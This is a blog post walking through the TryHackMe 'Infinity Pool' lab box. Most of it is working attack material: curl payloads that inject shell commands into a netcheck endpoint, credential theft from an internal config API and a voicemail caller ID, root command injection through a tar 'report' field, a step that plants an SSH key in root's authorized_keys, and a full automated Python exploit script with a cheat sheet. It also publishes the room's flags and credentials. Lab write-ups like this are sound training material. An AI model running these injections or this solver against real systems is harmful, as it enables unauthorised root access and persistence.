DEV Community

Cover image for [TryHackMe Writeup] Infinity Pool
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Infinity Pool

Infinity Pool (Byte Lotus) — Full Room Walkthrough

Target: 10.49.x.x (THM IP rotates — replace <IP> everywhere)
Box: Ubuntu 24.04.4 / FreePBX + Asterisk + custom "Closed Circuit" (cc-) services
Goal: User flag (/home/web/user.txt) → Root flag (/root/root.txt)

USER FLAG: THM{n0_v1s1bl3_3dg3}
ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
Enter fullscreen mode Exit fullscreen mode

0. Attack surface overview

Port Service Purpose
22 ssh (no creds needed for the solve)
80 edge booking site (Flask/gunicorn as web) initial foothold
127.0.0.1:8080 FreePBX admin + UCP UCP voicemail = automation key
127.0.0.1:8088/8089 Asterisk ARI
127.0.0.1:9000 automation (gunicorn as root) root RCE target
127.0.0.1:3000 watchtower (go/Flask as svc-watch) leaks UCP creds
5038 AMI (Asterisk)

The whole puzzle is loopback-only. You never reach :8080/:9000/:3000 directly —
every internal request is made from inside the box through the RCE.


1. Foothold — command injection in /internal/netcheck (as web)

The public site (port 80) has a staff tool "Sister-property connectivity":

POST /internal/netcheck
host=<property host e.g. 10.0.0.5>
Enter fullscreen mode Exit fullscreen mode

app.py runs subprocess.run(f"ping -c 1 {host}", shell=True, ...) — classic
shell injection. Prefix with 1; so the ping output is harmless, then add your command.

# RCE as user "web" (uid 1001)
curl -s -X POST "http://<IP>/internal/netcheck" \
     --data-urlencode "host=1;id"
Enter fullscreen mode Exit fullscreen mode

Output comes back inside <pre class="out">...</pre> in the HTML (HTML-entity
decoded, e.g. &#34; = ").

Important: the app runs the command with a timeout=15 — anything taking
longer than ~15 s dies with "Request timed out." Keep single commands short, or
run slow work in the background (nohup ... &) and poll a result file.

For complex payloads (quotes, &, $) it's easiest to base64-encode locally and
decode on the box:

CMD='cat /home/web/user.txt; echo ===; ls /etc'
B64=$(printf 'host=1;echo %s | base64 -d | bash' "$(printf '%s' "$CMD" | base64 -w0)")
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode "$B64"
Enter fullscreen mode Exit fullscreen mode

User flag

curl -s -X POST "http://<IP>/internal/netcheck" \
     --data-urlencode "host=1;cat /home/web/user.txt"
Enter fullscreen mode Exit fullscreen mode
THM{n0_v1s1bl3_3dg3}
Enter fullscreen mode Exit fullscreen mode

2. Internal recon through the RCE

Map what's listening and which users run the services:

# as web (via RCE)
ss -tanp | head -40
ps aux | head -40
ls -la /var/www/infinity_pool/
cat /etc/systemd/system/cc-*.service
Enter fullscreen mode Exit fullscreen mode

Key services (all systemd units in /etc/systemd/system/):

  • cc-edge.service → gunicorn as web, 0.0.0.0:80 (the booking site)
  • cc-watchtower.service → gunicorn as svc-watch, 127.0.0.1:3000
  • cc-automation.service → gunicorn as root, 127.0.0.1:9000
  • badr.service → runs once at boot, deletes its own binaries/configs

Also note: /etc/asterisk/voicemail.conf and /var/spool/asterisk/ are
root-only — voicemail can only be read through the UCP web UI. That's a hint:
UCP is the intended path to the automation key.


**3. Watchtower leaks UCP credentials

**

curl -s -m 5 http://127.0.0.1:3000/api/config   # run via the RCE
Enter fullscreen mode Exit fullscreen mode
{
  "automation_endpoint": "http://127.0.0.1:9000",
  "ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
  "telephony_pass": "St4yN0t1c3d_2026",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "FreePBXUCPTemplateCreator"
}
Enter fullscreen mode Exit fullscreen mode
  • UCP user: FreePBXUCPTemplateCreator
  • UCP password: St4yN0t1c3d_2026

The ops_note is the breadcrumb: use the default template creds.


**4. UCP login (127.0.0.1:8080/ucp)

**
UCP is an Angular SPA; login is a POST with a CSRF token. All of this runs
through the RCE (UCP is loopback-only).

4.1 Get the login page + CSRF token

The full GUI render is slow (>15 s), so it must be backgrounded and polled:

# (a) launch in background — will write the page to /tmp/ucp_login.html
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;rm -f /tmp/ucp_jar /tmp/ucp_login.html; nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar -o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' >/dev/null 2>&1 & echo started"

# (b) wait, then check the file size (keep polling until > 5000 bytes)
sleep 20
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;wc -c < /tmp/ucp_login.html"
Enter fullscreen mode Exit fullscreen mode

Gotcha 1 — fresh cookie jar: always rm -f /tmp/ucp_jar first. If an old
logged-in session cookie is reused, the server returns the dashboard instead
of the login form → no token → login fails with "ajaxRequest declined".

Gotcha 2 — tokens are single-use: fetch a fresh page + token for each
login attempt.

4.2 Perform the AJAX login

# extract the CSRF token
TOK=$(curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 | sed 's/.*value=\"//;s/\"//'")

# AJAX login (fast — skips the GUI) — run via RCE
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar -d \"module=User&command=login&token=$TOK&username=FreePBXUCPTemplateCreator&password=St4yN0t1c3d_2026\" http://127.0.0.1:8080/ucp/index.php"
Enter fullscreen mode Exit fullscreen mode

Success looks like:

{"status":true,"message":"","token":"1d29fcdc134a80e0e69a9c083529c0bf"}
Enter fullscreen mode Exit fullscreen mode

**5. Voicemail "Automation Key" → the automation bearer token

**
The voicemail is in mailbox 9919988 (the UCP user's default extension —
verify with mysql -u freepbxuser -p<dbpass> asterisk -e "SELECT default_extension FROM userman_users").

List the voicemail INBOX through the UCP AJAX API:

curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;curl -s -m 15 -b /tmp/ucp_jar 'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid&ext=9919988&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
Enter fullscreen mode Exit fullscreen mode

Response (truncated):

{
  "total": 1,
  "rows": [{
    "origmailbox": "9919988",
    "callerchan": "PJSIP/automation",
    "callerid": "\"Automation Key cc_auto_7b3f9a1c4e0d2f6a\" <9000>",
    "duration": "3",
    "file": "msg0000.wav",
    "path": "/var/spool/asterisk/voicemail/default/9919988/INBOX"
  }]
}
Enter fullscreen mode Exit fullscreen mode

The automation key is embedded in the voicemail's caller ID — no audio
transcription needed:

AUTOMATION KEY: cc_auto_7b3f9a1c4e0d2f6a
Enter fullscreen mode Exit fullscreen mode

(CID 9000 = the automation service port; PJSIP/automation = the automation
service itself left this voicemail.)


6. Root RCE — argument injection in /jobs/export

The automation service (runs as root) exposes:

POST /jobs/export          Authorization: Bearer <automation key>
Body: {"report": "<report name>"}
Enter fullscreen mode Exit fullscreen mode

It builds and executes a shell command (as root):

tar czf /var/automation/exports/<report>.tgz /var/automation/data 2>&1
Enter fullscreen mode Exit fullscreen mode

The report value is injected straight into the command line. End the tar
arguments with ;, then run anything as root, and comment out the forced
.tgz suffix with #:

curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;cat /root/root.txt;#\"}'"
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "command": "tar czf /var/automation/exports/x;cat /root/root.txt;#.tgz /var/automation/data 2>&1",
  "output": "THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Cowardly refusing to create an empty archive\n..."
}
Enter fullscreen mode Exit fullscreen mode
ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
Enter fullscreen mode Exit fullscreen mode

7. (Optional) Persistent root shell — drop an SSH key

Use the same injection to append your public key to root's authorized_keys:

curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
  "host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;mkdir -p /root/.ssh;echo '\''ssh-ed25519 AAAA...'\'' >> /root/.ssh/authorized_keys;#\"}'"

ssh -i key root@<IP>
Enter fullscreen mode Exit fullscreen mode

8. Dead ends (so you don't re-explore them)

  • Kafka (172.31.64.152:9092 / 172.31.65.126:9092) — brokers close unauthenticated connections; SASL required. Dead.
  • /proc/<rootpid>/environ, automation.env, /opt/.cc — all root-only.
  • MariaDB rootauth_socket (needs OS root). freepbxuser only sees asterisk/asteriskcdrdb (no secrets there).
  • Channel service 10.49.158.97:443 — the automation app holds an authenticated channel to it (/opt/.cc state); all probes get Request is not for channel operation. without the channel token.
  • sudo (web)sudo -l requires a password; none of the known passwords work.
  • No internet egress from the box (curl https://github.com000).

9. Fully automated solver

solve_room.py automates the entire Infinity Pool chain (no hardcoded credentials):

python solve_room.py <IP>
# optional: python solve_room.py <IP> --install-ssh-key id_ed25519.pub
Enter fullscreen mode Exit fullscreen mode
#!/usr/bin/env python3
"""
Infinity Pool (Byte Lotus) - automated room solver.

Chain:
  1. RCE as `web` via command injection in POST /internal/netcheck (host param)
     -> user flag at /home/web/user.txt
  2. watchtower :3000 /api/config -> UCP credentials
  3. UCP login (:8080/ucp, module=User&command=login, CSRF token from login page)
  4. voicemail grid (module=voicemail&command=grid&ext=<ext>&folder=INBOX)
     -> caller id contains the automation bearer key ("Automation Key <key>" <9000>)
  5. automation :9000 POST /jobs/export with the bearer key
     -> argument injection in "report" -> root command execution
     -> root flag at /root/root.txt

Usage:
    python solve_room.py <target-ip> [--install-ssh-key /path/to/key.pub]
"""

import argparse
import html
import json
import re
import sys
import time

import requests


class RoomSolver:
    def __init__(self, host: str, timeout: int = 25):
        self.host = host
        self.http = requests.Session()
        self.http.headers["User-Agent"] = "curl/8.0"
        self.timeout = timeout
        self.log = print

    # ---------------------------------------------------------------- RCE
    def rce(self, cmd: str) -> str:
        """Run a command as `web` through the netcheck injection. Returns stdout."""
        url = f"http://{self.host}/internal/netcheck"
        resp = self.http.post(url, data={"host": f"1;{cmd}"}, timeout=self.timeout)
        resp.raise_for_status()
        m = re.search(r"<pre class=\"out\">(.*?)</pre>", resp.text, re.S)
        if not m:
            raise RuntimeError("RCE: could not find <pre> output block")
        out = html.unescape(m.group(1))
        # strip the leading ping preamble produced by the app
        if "--- 1 ping statistics ---" in out:
            out = out.split("--- 1 ping statistics ---", 1)[1]
            out = out.split("\n", 2)[2] if "\n" in out else out
        return out.strip()

    def rce_retry(self, cmd: str, tries: int = 12, pause: float = 5.0) -> str:
        last = None
        for i in range(tries):
            try:
                out = self.rce(cmd)
                if out and "Request timed out." not in out:
                    return out
                last = RuntimeError(f"RCE: empty or timed-out output: {out[:80]!r}")
            except requests.RequestException as e:
                last = e  # target briefly paused/unreachable -> keep retrying
            except Exception as e:
                last = e
                if i == tries - 1:
                    raise
            self.log(f"  [rce retry {i + 1}: {type(last).__name__}]")
            time.sleep(pause)
        raise RuntimeError(f"RCE: command did not produce output ({last})")

    # ---------------------------------------------------------------- step 1
    def get_user_flag(self) -> str:
        self.log("[*] Step 1: RCE as web via /internal/netcheck")
        out = self.rce_retry("cat /home/web/user.txt")
        flag = re.search(r"THM\{[^}]+\}", out)
        if not flag:
            raise RuntimeError(f"user flag not found in: {out[:200]}")
        self.log(f"[+] USER FLAG: {flag.group(0)}")
        return flag.group(0)

    # ---------------------------------------------------------------- step 2
    def get_ucp_creds(self) -> tuple[str, str]:
        self.log("[*] Step 2: pull UCP credentials from watchtower /api/config")
        out = self.rce_retry("curl -s -m 5 http://127.0.0.1:3000/api/config")
        cfg = json.loads(out)
        user = cfg["telephony_user"]
        pwd = cfg["telephony_pass"]
        self.log(f"[+] UCP creds: {user} / {pwd}")
        return user, pwd

    # ---------------------------------------------------------------- step 3
    def ucp_login(self, user: str, pwd: str) -> None:
        self.log("[*] Step 3: UCP login (login page is slow -> backgrounded)")

        # 3a: fetch login page in the background (FreePBX GUI boot exceeds the
        #     15s subprocess cap of the RCE, so we poll for the result file).
        #     MUST use a fresh cookie jar: a leftover session from a previous
        #     run would make the server return the dashboard instead of the
        #     login form (no CSRF token -> "ajaxRequest declined").
        self.rce_retry(
            "rm -f /tmp/ucp_jar /tmp/ucp_login.html; "
            "nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar "
            "-o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' "
            ">/dev/null 2>&1 & echo started"
        )
        for i in range(40):
            time.sleep(5)
            try:
                sz = self.rce_retry("wc -c < /tmp/ucp_login.html 2>/dev/null || echo 0")
            except RuntimeError:
                sz = "0"
            try:
                size = int(sz.strip().split()[0])
            except ValueError:
                size = 0
            if size > 5000:
                break
            self.log(f"    ... waiting for UCP login page ({size} bytes)")
        else:
            raise RuntimeError("UCP login page never materialised")

        # 3b: extract CSRF token and POST the (fast, GUI-free) ajax login
        cmd = (
            "TOK=$(grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 "
            "| sed 's/.*value=\"//;s/\"//'); "
            f"curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar "
            f"-d \"module=User&command=login&token=$TOK&username={user}&password={pwd}\" "
            "http://127.0.0.1:8080/ucp/index.php"
        )
        out = self.rce_retry(cmd)
        if '"status":true' not in out:
            raise RuntimeError(f"UCP login failed: {out[:300]}")
        self.log("[+] UCP login OK")

    # ---------------------------------------------------------------- step 4
    def get_automation_key(self, user: str) -> str:
        self.log("[*] Step 4: fetch voicemail grid -> automation bearer key")

        # The voicemail extension is not exposed through a public UCP API, so we
        # probe the room's known mailbox number first, then a small fallback set.
        # (No credentials are hardcoded in this script.)
        grid_cmd = (
            "curl -s -m 15 -b /tmp/ucp_jar "
            "'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid"
            "&ext={ext}&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
        )
        ext = None
        for candidate in ("9919988", "9000", "1000", "2001", "2000", "100"):
            self.log(f"[*] trying mailbox extension: {candidate}")
            out = self.rce_retry(grid_cmd.format(ext=candidate))
            try:
                data = json.loads(out)
            except json.JSONDecodeError:
                continue
            if data.get("rows"):
                ext = candidate
                self.log(f"[+] mailbox extension found: {ext}")
                break
        if not ext:
            raise RuntimeError("no voicemail mailbox answered the grid probe")

        cid = data["rows"][0].get("callerid", "")
        m = re.search(r"cc_[a-zA-Z0-9_]+", cid)
        if not m:
            raise RuntimeError(f"no automation key in caller id: {cid[:300]}")
        key = m.group(0)
        self.log(f"[+] AUTOMATION KEY: {key}")
        return key

    # ---------------------------------------------------------------- step 5
    def get_root_flag(self, key: str) -> str:
        self.log("[*] Step 5: argument injection in /jobs/export (runs as root)")
        payload = json.dumps({"report": "x;cat /root/root.txt;#"})
        out = self.rce_retry(
            "curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export "
            f'-H "Authorization: Bearer {key}" -H "Content-Type: application/json" '
            f"--data-binary '{payload}'"
        )
        data = json.loads(out)
        flag = re.search(r"THM\{[^}]+\}", data.get("output", ""))
        if not flag:
            raise RuntimeError(f"root flag not found in: {out[:400]}")
        self.log(f"[+] ROOT FLAG: {flag.group(0)}")
        return flag.group(0)

    # ---------------------------------------------------------------- bonus
    def install_ssh_key(self, key: str, pubkey_path: str) -> None:
        self.log("[*] Bonus: dropping SSH key for root")
        pub = open(pubkey_path, encoding="utf-8").read().strip()
        payload = json.dumps({"report": f"x;mkdir -p /root/.ssh;echo '{pub}' >> /root/.ssh/authorized_keys;#"})
        out = self.rce_retry(
            "curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export "
            f'-H "Authorization: Bearer {key}" -H "Content-Type: application/json" '
            f"--data-binary '{payload}'"
        )
        self.log(f"[+] SSH key installed -> ssh -i {pubkey_path} root@{self.host}")

    # ---------------------------------------------------------------- main
    def run(self, pubkey_path: str | None = None):
        t0 = time.time()
        user_flag = self.get_user_flag()
        ucp_user, ucp_pwd = self.get_ucp_creds()
        self.ucp_login(ucp_user, ucp_pwd)
        auto_key = self.get_automation_key(ucp_user)
        root_flag = self.get_root_flag(auto_key)
        if pubkey_path:
            self.install_ssh_key(auto_key, pubkey_path)
        self.log("=" * 50)
        self.log(f"[*] Solved in {time.time() - t0:.1f}s")
        self.log(f"[*] USER FLAG : {user_flag}")
        self.log(f"[*] ROOT FLAG : {root_flag}")
        return {"user": user_flag, "root": root_flag}


def main():
    ap = argparse.ArgumentParser(description="Automated solve for the Infinity Pool room")
    ap.add_argument("target", help="target IP, e.g. 10.49.176.104")
    ap.add_argument("--install-ssh-key", metavar="KEYFILE", help="path to a .pub key to add to /root/.ssh/authorized_keys")
    args = ap.parse_args()
    RoomSolver(args.target).run(pubkey_path=args.install_ssh_key)


if __name__ == "__main__":
    sys.exit(main())

Enter fullscreen mode Exit fullscreen mode

Expected output (~100 s):

[*] Step 1: RCE as web via /internal/netcheck
[+] USER FLAG: THM{n0_v1s1bl3_3dg3}
[*] Step 2: pull UCP credentials from watchtower /api/config
[+] UCP creds: FreePBXUCPTemplateCreator / St4yN0t1c3d_2026
[*] Step 3: UCP login (login page is slow -> backgrounded)
[+] UCP login OK
[*] Step 4: fetch voicemail grid -> automation bearer key
[+] mailbox extension found: 9919988
[+] AUTOMATION KEY: cc_auto_7b3f9a1c4e0d2f6a
[*] Step 5: argument injection in /jobs/export (runs as root)
[+] ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
==================================================
[*] Solved in 96.8s
[*] USER FLAG : THM{n0_v1s1bl3_3dg3}
[*] ROOT FLAG : THM{tr4c3d_t0_th3_h0r1z0n}
Enter fullscreen mode Exit fullscreen mode

Requires Python 3 + requests. If the room IP changes, just re-run with the
new IP (the script tolerates the box pausing/restarting between steps).


10. Cheat sheet (command summary)

IP=<your-target-ip>

# 1. RCE
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;id"

# 2. User flag
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;cat /home/web/user.txt"

# 3. UCP creds
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 5 http://127.0.0.1:3000/api/config"

# 4. UCP login page (background, fresh jar)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;rm -f /tmp/ucp_jar /tmp/ucp_login.html; nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar -o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' >/dev/null 2>&1 & echo started"
sleep 20
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;wc -c < /tmp/ucp_login.html"

# 5. AJAX login
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;TOK=\$(grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 | sed 's/.*value=\"//;s/\"//');curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar -d \"module=User&command=login&token=\$TOK&username=FreePBXUCPTemplateCreator&password=St4yN0t1c3d_2026\" http://127.0.0.1:8080/ucp/index.php"

# 6. Automation key (voicemail grid)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 15 -b /tmp/ucp_jar 'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid&ext=9919988&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
# -> callerid contains: "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>

# 7. Root flag (argument injection)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;cat /root/root.txt;#\"}'"
Enter fullscreen mode Exit fullscreen mode

Key facts to remember

  • All internal services are loopback-only → everything goes through the RCE.
  • RCE subprocess is capped at ~15 s → background slow jobs, poll result files.
  • UCP CSRF tokens are single-use and session-bound; always use a fresh cookie jar.
  • The automation key is in the voicemail caller ID, not the audio.
  • The root exploit is a shell argument injection in report (;cmd;#), run by tar ... as root.

Top comments (0)